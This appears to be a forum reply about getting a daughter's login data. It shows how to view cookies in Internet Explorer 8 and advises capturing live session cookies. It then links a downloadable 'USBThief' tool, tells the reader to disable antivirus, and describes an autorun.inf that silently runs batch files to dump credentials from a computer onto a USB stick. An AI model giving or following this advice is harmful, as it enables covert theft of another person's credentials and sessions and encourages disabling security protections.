Here's how to view teh cookies within ie8
1.From the Tools menu, or the Tools drop-down at the upper right, select Internet Options.
2.GENERAL TAB => Under "Browsing History", click Settings.
3.Click View Objects or View Files.
i would doubt you are going to get any plaintext passwords from them, your best to try to capture live session cookies.
grab this file :>
http://www.4shared.com/file/UoWC4hc9/USBThief.html install onto a fresh usb stick, plug into the computer and you'll get the needed data.
Just make sure you disable your AntiVirus before pluggin in the thumb drive, as the way this tool works it will make the antivirus app throw up false positive's.
This is the version that was originally from Ir0ng33k's website.
How to install: Format and use a clean USB Pen Drive. Then extract all the files to USB drive and eject it.
How Does this works: The files contain a
autorun.inf file which will execute
bat files and they will extract all the vital information from your computer.
Where to find the Information stored: After extraction insert the USB drive in that computer from where you want to have the information. If Auto run is disabled in the system then double click the pen drive and within 2-3 sec eject it. Now when you want the information, insert your pen drive and check the
Dump folder inside your USB Pen Drive and it will have all the vital information you need
So in short, copy to usb drive, remove usb stick from computer, then after your daughter has used it, insert usb stick, let it run then manually open the usb drive contents, and open the DUMP folder and you should be able to get the relevant login data.